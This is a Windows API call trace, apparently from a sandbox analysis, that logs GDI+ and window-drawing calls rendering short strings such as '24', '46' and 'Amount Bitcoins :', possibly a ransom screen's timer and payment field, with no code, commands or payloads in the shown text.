[0286.266] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebfd8) returned 0x0
[0286.266] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.266] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.266] LocalFree (hMem=0x1de51510) returned 0x0
[0286.266] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.267] GdipCreateRegion (region=0x2ebf70) returned 0x0
[0286.267] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.267] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ebfd0) returned 0x0
[0286.267] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ec070) returned 0x0
[0286.267] GetWindowTextLengthW (hWnd=0x202a2)
[0286.267] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1
[0286.268] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0xd, wParam=0x2, lParam=0x2ebe70) returned 0x1
[0286.268] GdipCreateRegion (region=0x2ebc00) returned 0x0
[0286.268] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0286.268] GdipCreateMatrix (matrix=0x2ebc00) returned 0x0
[0286.268] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.269] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc68) returned 0x0
[0286.269] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.269] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.269] LocalFree (hMem=0x1de51510) returned 0x0
[0286.269] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0286.270] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.270] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.270] LocalFree (hMem=0x1de51510) returned 0x0
[0286.270] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.270] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebcd0) returned 0x0
[0286.270] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebc90) returned 0x0
[0286.271] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ebc90) returned 0x0
[0286.271] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0286.271] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebcd8) returned 0x0
[0286.271] GetCurrentObject (hdc=0x1f0107be, type=0x1) returned 0x1b00017
[0286.271] GetCurrentObject (hdc=0x1f0107be, type=0x2) returned 0x1900010
[0286.272] GetCurrentObject (hdc=0x1f0107be, type=0x7) returned 0xb0507c1
[0286.272] GetCurrentObject (hdc=0x1f0107be, type=0x6) returned 0x18a002e
[0286.272] SaveDC (hdc=0x1f0107be) returned 1
[0286.272] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x46040b86
[0286.273] GetClipRgn (hdc=0x1f0107be, hrgn=0x46040b86) returned 0
[0286.273] SelectClipRgn (hdc=0x1f0107be, hrgn=0x28040b99) returned 2
[0286.273] DeleteObject (ho=0x46040b86) returned 1
[0286.273] DeleteObject (ho=0x28040b99) returned 1
[0286.273] OffsetViewportOrgEx (in: hdc=0x1f0107be, x=0, y=0, lppt=0x274fc98 | out: lppt=0x274fc98) returned 1
[0286.273] GetNearestColor (hdc=0x1f0107be, color=0x80) returned 0x80
[0286.274] CreateSolidBrush (color=0x80) returned 0x141007d3
[0286.274] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1f0107be) returned 0x0
[0286.275] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffd180dbd) returned 0x0
[0286.275] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.275] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1
[0286.275] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0xd, wParam=0x2, lParam=0x2ebe70) returned 0x1
[0286.275] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebe68) returned 0x0
[0286.275] GetCurrentObject (hdc=0x1f0107be, type=0x1) returned 0x1b00017
[0286.276] GetCurrentObject (hdc=0x1f0107be, type=0x2) returned 0x1900010
[0286.276] GetCurrentObject (hdc=0x1f0107be, type=0x7) returned 0xb0507c1
[0286.276] GetCurrentObject (hdc=0x1f0107be, type=0x6) returned 0x18a002e
[0286.276] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1f0107be) returned 0x0
[0286.277] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0286.277] AdjustWindowRectEx (in: lpRect=0x2ebd18, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ebd18) returned 1
[0286.277] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ebd78) returned 0x0
[0286.277] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebd58) returned 0x0
[0286.277] GetCurrentObject (hdc=0x1f0107be, type=0x1) returned 0x1b00017
[0286.277] GetCurrentObject (hdc=0x1f0107be, type=0x2) returned 0x1900010
[0286.278] GetCurrentObject (hdc=0x1f0107be, type=0x7) returned 0xb0507c1
[0286.278] GetCurrentObject (hdc=0x1f0107be, type=0x6) returned 0x18a002e
[0286.278] GetTextAlign (hdc=0x1f0107be) returned 0x0
[0286.278] GetTextColor (hdc=0x1f0107be) returned 0x0
[0286.278] GetCurrentObject (hdc=0x1f0107be, type=0x6) returned 0x18a002e
[0286.279] DrawTextExW (in: hdc=0x1f0107be, lpchText=":", cchText=1, lprc=0x2ebce8, format=0x0, lpdtp=0x2750528 | out: lpchText=":", lprc=0x2ebce8) returned 20
[0286.279] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1f0107be) returned 0x0
[0286.279] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebf88) returned 0x0
[0286.280] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1f0107be) returned 0x0
[0286.280] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.281] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.281] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.281] GdipCreateFromHDC (hdc=0x220107be, graphics=0x2ebf48) returned 0x0
[0286.282] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0286.282] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=13, height=20, combineMode=0x0) returned 0x0
[0286.282] GdipCreateMatrix (matrix=0x2ebf70) returned 0x0
[0286.282] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.282] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebfd8) returned 0x0
[0286.282] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.283] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.283] LocalFree (hMem=0x1de51510) returned 0x0
[0286.283] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.283] GdipCreateRegion (region=0x2ebf70) returned 0x0
[0286.283] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.283] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ebfd0) returned 0x0
[0286.333] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ec070) returned 0x0
[0286.333] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1
[0286.334] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0xd, wParam=0x2, lParam=0x2ebe70) returned 0x1
[0286.334] GdipCreateRegion (region=0x2ebc00) returned 0x0
[0286.335] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0286.335] GdipCreateMatrix (matrix=0x2ebc00) returned 0x0
[0286.335] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.335] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc68) returned 0x0
[0286.335] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.336] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.336] LocalFree (hMem=0x1de51510) returned 0x0
[0286.336] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0286.336] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.336] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.337] LocalFree (hMem=0x1de51510) returned 0x0
[0286.337] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.337] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebcd0) returned 0x0
[0286.337] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebc90) returned 0x0
[0286.338] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ebc90) returned 0x0
[0286.338] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0286.338] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebcd8) returned 0x0
[0286.339] OffsetViewportOrgEx (in: hdc=0x220107be, x=0, y=0, lppt=0x2750c48 | out: lppt=0x2750c48) returned 1
[0286.339] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x220107be) returned 0x0
[0286.339] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffd160dbd) returned 0x0
[0286.340] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.340] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1
[0286.340] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0xd, wParam=0x2, lParam=0x2ebe70) returned 0x1
[0286.340] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebe68) returned 0x0
[0286.340] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x220107be) returned 0x0
[0286.341] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0286.341] AdjustWindowRectEx (in: lpRect=0x2ebd18, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ebd18) returned 1
[0286.341] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ebd78) returned 0x0
[0286.342] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebd58) returned 0x0
[0286.342] DrawTextExW (in: hdc=0x220107be, lpchText=":", cchText=1, lprc=0x2ebce8, format=0x0, lpdtp=0x27514d8 | out: lpchText=":", lprc=0x2ebce8) returned 20
[0286.343] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x220107be) returned 0x0
[0286.343] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebf88) returned 0x0
[0286.343] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x220107be) returned 0x0
[0286.344] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.344] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.345] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.378] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.379] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.380] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.381] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.382] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.382] GdipCreateFromHDC (hdc=0x2f0107be, graphics=0x2ebf48) returned 0x0
[0286.382] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0286.382] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=27, height=20, combineMode=0x0) returned 0x0
[0286.382] GdipCreateMatrix (matrix=0x2ebf70) returned 0x0
[0286.383] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.383] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebfd8) returned 0x0
[0286.383] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.383] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.383] LocalFree (hMem=0x1de51510) returned 0x0
[0286.384] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.384] GdipCreateRegion (region=0x2ebf70) returned 0x0
[0286.384] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.384] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ebfd0) returned 0x0
[0286.384] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ec070) returned 0x0
[0286.385] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0286.385] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ebe70) returned 0x2
[0286.385] GdipCreateRegion (region=0x2ebc00) returned 0x0
[0286.385] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0286.385] GdipCreateMatrix (matrix=0x2ebc00) returned 0x0
[0286.385] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.386] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc68) returned 0x0
[0286.386] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.386] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.386] LocalFree (hMem=0x1de51510) returned 0x0
[0286.386] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0286.386] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.387] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.387] LocalFree (hMem=0x1de51510) returned 0x0
[0286.387] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.387] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebcd0) returned 0x0
[0286.387] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebc90) returned 0x0
[0286.387] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ebc90) returned 0x0
[0286.388] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0286.388] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebcd8) returned 0x0
[0286.388] OffsetViewportOrgEx (in: hdc=0x2f0107be, x=0, y=0, lppt=0x27e4390 | out: lppt=0x27e4390) returned 1
[0286.388] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x2f0107be) returned 0x0
[0286.389] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffd140dbd) returned 0x0
[0286.389] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.389] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0286.389] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ebe70) returned 0x2
[0286.389] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebe68) returned 0x0
[0286.389] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x2f0107be) returned 0x0
[0286.390] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0286.390] AdjustWindowRectEx (in: lpRect=0x2ebd18, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ebd18) returned 1
[0286.390] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ebd78) returned 0x0
[0286.390] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebd58) returned 0x0
[0286.391] DrawTextExW (in: hdc=0x2f0107be, lpchText="24", cchText=2, lprc=0x2ebce8, format=0x0, lpdtp=0x27e4c20 | out: lpchText="24", lprc=0x2ebce8) returned 20
[0286.392] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x2f0107be) returned 0x0
[0286.392] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebf88) returned 0x0
[0286.392] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x2f0107be) returned 0x0
[0286.392] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.394] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.394] SelectPalette (hdc=0x2010a5c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.395] GdipCreateFromHDC (hdc=0x320107be, graphics=0x2ebf48) returned 0x0
[0286.395] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0286.395] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=27, height=20, combineMode=0x0) returned 0x0
[0286.395] GdipCreateMatrix (matrix=0x2ebf70) returned 0x0
[0286.395] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.396] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebfd8) returned 0x0
[0286.396] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.396] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.396] LocalFree (hMem=0x1de51510) returned 0x0
[0286.396] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.396] GdipCreateRegion (region=0x2ebf70) returned 0x0
[0286.397] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.397] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ebfd0) returned 0x0
[0286.397] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ec070) returned 0x0
[0286.397] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0286.397] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ebe70) returned 0x2
[0286.398] GdipCreateRegion (region=0x2ebc00) returned 0x0
[0286.398] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0286.398] GdipCreateMatrix (matrix=0x2ebc00) returned 0x0
[0286.398] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.398] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc68) returned 0x0
[0286.399] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.399] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.399] LocalFree (hMem=0x1de51510) returned 0x0
[0286.399] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0286.399] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.399] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.399] LocalFree (hMem=0x1de51510) returned 0x0
[0286.400] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.400] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebcd0) returned 0x0
[0286.400] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebc90) returned 0x0
[0286.400] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ebc90) returned 0x0
[0286.400] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0286.401] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebcd8) returned 0x0
[0286.401] OffsetViewportOrgEx (in: hdc=0x320107be, x=0, y=0, lppt=0x27e5220 | out: lppt=0x27e5220) returned 1
[0286.401] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x320107be) returned 0x0
[0286.401] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffd120dbd) returned 0x0
[0286.401] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.402] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0286.402] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ebe70) returned 0x2
[0286.402] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebe68) returned 0x0
[0286.402] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x320107be) returned 0x0
[0286.403] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0286.403] AdjustWindowRectEx (in: lpRect=0x2ebd18, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ebd18) returned 1
[0286.403] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ebd78) returned 0x0
[0286.403] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebd58) returned 0x0
[0286.404] DrawTextExW (in: hdc=0x320107be, lpchText="46", cchText=2, lprc=0x2ebce8, format=0x0, lpdtp=0x27e5ab0 | out: lpchText="46", lprc=0x2ebce8) returned 20
[0286.404] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x320107be) returned 0x0
[0286.404] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebf88) returned 0x0
[0286.405] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x320107be) returned 0x0
[0286.405] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.405] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.406] SelectPalette (hdc=0x1010a48, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.406] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0286.406] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2ebea0) returned 0x11
[0286.406] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0286.407] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2ebea0) returned 0x11
[0286.407] IsAppThemed () returned 0x1
[0286.407] GetThemeAppProperties () returned 0x3
[0286.408] GetThemeAppProperties () returned 0x3
[0286.408] SelectPalette (hdc=0x1010a48, hPal=0x3080b87, bForceBkgd=1) returned 0x3080b87
[0286.408] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ebf48) returned 0x0
[0286.408] GdipSetPageUnit (graphics=0x1c5a7fc0, unit=0x2) returned 0x0
[0286.409] GdipCreateMatrix (matrix=0x2ebe40) returned 0x0
[0286.409] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.409] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebea8) returned 0x0
[0286.409] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.409] GdipCreateRegion (region=0x2ebe40) returned 0x0
[0286.409] GdipGetClip (graphics=0x1c5a7fc0, region=0x1c5a8390) returned 0x0
[0286.410] GdipIsInfiniteRegion (region=0x1c5a8390, graphics=0x1c5a7fc0, result=0x2ebea0) returned 0x0
[0286.410] GdipDeleteRegion (region=0x1c5a8390) returned 0x0
[0286.410] GdipSaveGraphics (graphics=0x1c5a7fc0, state=0x2ebf40) returned 0x0
[0286.410] IsAppThemed () returned 0x1
[0286.410] GetThemeAppProperties () returned 0x3
[0286.410] GetThemeAppProperties () returned 0x3
[0286.410] IsAppThemed () returned 0x1
[0286.410] GetThemeAppProperties () returned 0x3
[0286.410] GetThemeAppProperties () returned 0x3
[0286.410] IsThemePartDefined () returned 0x1
[0286.411] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd38) returned 0x0
[0286.411] GdipCreateRegion (region=0x2ebbb0) returned 0x0
[0286.411] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.411] GdipCreateMatrix (matrix=0x2ebbb0) returned 0x0
[0286.411] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.411] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc18) returned 0x0
[0286.412] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.412] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.412] LocalFree (hMem=0x1de51510) returned 0x0
[0286.412] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.412] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc80) returned 0x0
[0286.413] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.413] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc88) returned 0x0
[0286.413] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x27e66f8 | out: lppt=0x27e66f8) returned 1
[0286.413] DrawTextExW (in: hdc=0x1010a48, lpchText="Amount Bitcoins :", cchText=17, lprc=0x2ebd38, format=0x2410, lpdtp=0x27e6710 | out: lpchText="Amount Bitcoins :", lprc=0x2ebd38) returned 14
[0286.414] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.414] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd08) returned 0x0
[0286.414] GdipCreateRegion (region=0x2ebb80) returned 0x0
[0286.415] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.415] GdipCreateMatrix (matrix=0x2ebb80) returned 0x0
[0286.415] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.415] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbe8) returned 0x0
[0286.415] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.415] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.416] LocalFree (hMem=0x1de51510) returned 0x0
[0286.416] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.416] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc50) returned 0x0
[0286.416] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.416] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc58) returned 0x0
[0286.417] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x27e6b10 | out: lppt=0x27e6b10) returned 1
[0286.417] DrawTextExW (in: hdc=0x1010a48, lpchText="Amount Bitcoins :", cchText=17, lprc=0x2ebc78, format=0x2010, lpdtp=0x27e6d10 | out: lpchText="Amount Bitcoins :", lprc=0x2ebc78) returned 14
[0286.419] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.420] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ebd28) returned 0x0
[0286.420] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.420] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.420] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ebd28) returned 0x0
